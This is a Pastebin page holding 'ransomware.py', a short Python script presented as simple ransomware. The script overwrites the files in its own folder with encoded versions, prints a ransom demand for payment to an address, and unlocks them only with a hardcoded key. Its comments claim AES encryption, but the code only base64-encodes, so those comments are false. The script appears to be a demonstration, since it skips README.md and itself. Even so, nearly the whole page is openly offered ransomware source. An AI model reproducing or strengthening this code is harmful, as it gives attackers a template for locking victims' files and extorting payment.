FlyFar

ransomware/ransomware.py

Oct 19th, 2023
154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.26 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. """ Implementation of simple ransomware in Python.
  4. """
  5.  
  6. import logging
  7. import os
  8. import sys
  9. import base64
  10.  
  11.  
  12. class Ransomware:
  13.     """ This class represents file encrypting ransomware.
  14.    """
  15.  
  16.     def __init__(self, name):
  17.         self._name = name
  18.  
  19.     @property
  20.     def name(self):
  21.         """ Name of the malware. """
  22.         return self._name
  23.  
  24.     @name.setter
  25.     def name(self, new_name):
  26.         self._name = new_name
  27.  
  28.     @property
  29.     def key(self):
  30.         """ Key used for encryption of data. """
  31.         return "__ransomware_key"
  32.  
  33.     def obtain_key(self):
  34.         """ Obtain key from a user. """
  35.         return input("Please enter a key: ")
  36.  
  37.     def ransom_user(self):
  38.         """ Inform user about encryption of his files. """
  39.         print(
  40.             "Hi, all your files has been encrypted. Please "
  41.             "send 0.1 USD on this address to get decryption"
  42.             " key: XYZ."
  43.         )
  44.  
  45.     def encrypt_file(self, filename):
  46.         """ Encrypt the given file with AES encryption algoritm.
  47.        :param str filename: Name of the file.
  48.        """
  49.         # Load the content of file.
  50.         with open(filename, 'r') as file:
  51.             content = file.read()
  52.         # Encrypt the file content with base64.
  53.         encrypted_data = base64.b64encode(content.encode('utf-8'))
  54.         # Rewrite the file with the encoded content.
  55.         with open(filename, 'w') as file:
  56.             file.write(encrypted_data.decode('utf-8'))
  57.  
  58.     def decrypt_file(self, key, filename):
  59.         """ Decrypt the given file with AES encryption algoritm.
  60.        :param str key: Decryption key.
  61.        :param str filename: Name of the file.
  62.        """
  63.         # Load the content of file.
  64.         with open(filename, 'r') as file:
  65.             content = file.read()
  66.         # Decrypt the file content.
  67.         decrypted_data = base64.b64decode(content)
  68.         # Rewrite the file with the encoded content.
  69.         with open(filename, 'w') as file:
  70.             content = file.write(decrypted_data.decode('utf-8'))
  71.  
  72.     def get_files_in_folder(self, path):
  73.         """ Returns a `list` of all files in the folder.
  74.  
  75.        :param str path: Path to the folder
  76.        """
  77.         # List the directory to get all files.
  78.         files = []
  79.         for file in os.listdir(path):
  80.             # For the demostration purposes ignore README.md
  81.             # from the repository and this file.
  82.             if file == 'README.md' or file == sys.argv[0]:
  83.                 continue
  84.  
  85.             file_path = os.path.join(path, file)
  86.             if os.path.isfile(file_path):
  87.                 files.append(file_path)
  88.  
  89.         return files
  90.  
  91.     def encrypt_files_in_folder(self, path):
  92.         """ Encrypt all files in the given directory specified
  93.        by path.
  94.  
  95.        :param str path: Path of the folder to be encrypted.
  96.        :returns: Number of encrypted files (`int`).
  97.        """
  98.         num_encrypted_files = 0
  99.         files = self.get_files_in_folder(path)
  100.  
  101.         # Encrypt each file in the directory.
  102.         for file in files:
  103.             logging.debug('Encrypting file: {}'.format(file))
  104.             self.encrypt_file(file)
  105.             num_encrypted_files += 1
  106.  
  107.         self.ransom_user()
  108.  
  109.         return num_encrypted_files
  110.  
  111.     def decrypt_files_in_folder(self, path):
  112.         """ Decrypt all files in the given directory specified
  113.        by path.
  114.  
  115.        :param str path: Path of the folder to be decrypted.
  116.        """
  117.         # Obtain a key from the user.
  118.         key = self.obtain_key()
  119.         if key != self.key:
  120.             print('Wrong key!')
  121.             return
  122.  
  123.         files = self.get_files_in_folder(path)
  124.  
  125.         # Decrypt each file in the directory.
  126.         for file in files:
  127.             self.decrypt_file(key, file)
  128.  
  129.  
  130. if __name__ == '__main__':
  131.     logging.basicConfig(level=logging.DEBUG)
  132.  
  133.     # Create ransomware.
  134.     ransomware = Ransomware('SimpleRansomware')
  135.  
  136.     # Encrypt files located in the same folder as our ransomware.
  137.     path = os.path.dirname(os.path.abspath(__file__))
  138.     number_encrypted_files = ransomware.encrypt_files_in_folder(path)
  139.     print('Number of encrypted files: {}'.format(number_encrypted_files))
  140.  
  141.     ransomware.decrypt_files_in_folder(path)
Add Comment
Please, Sign In to add comment